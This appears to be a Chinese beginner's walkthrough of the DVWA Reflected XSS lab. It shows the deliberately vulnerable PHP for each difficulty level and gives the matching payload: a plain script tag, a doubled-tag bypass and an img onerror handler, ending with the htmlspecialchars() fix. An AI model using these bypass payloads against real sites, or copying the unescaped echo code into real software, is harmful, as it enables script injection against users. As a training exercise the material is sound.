新手DVWA-XSS (Reflected)
阿新 • • 發佈:2020-07-29
XSS (Reflected)
XSS(Cross Site Scripting)即跨站指令碼攻擊,是指由於過濾不當導致惡意程式碼注入網頁,當受害者訪問網頁時,瀏覽器執行惡意程式碼,執行攻擊者的攻擊行為
low
伺服器核心程式碼
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
從程式碼上看,沒有任何過濾
解法
輸入<script>alert(1)</script>
成功彈窗
medium
伺服器核心程式碼
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
medium難度程式碼過濾了script標籤
解法
雙寫繞過<scri<script>pt>alert(1)</script>
成功彈窗
high
伺服器核心程式碼
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
正則匹配徹底過濾掉了script標籤,改用其他標籤
解法
輸入<img src=123 onerror=alert(1)>
成功彈窗
impossible
伺服器核心程式碼
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
程式碼使用了htmlspecialchars()函式,將'<','>'轉換為html實體,所以已經不存在XSS漏洞了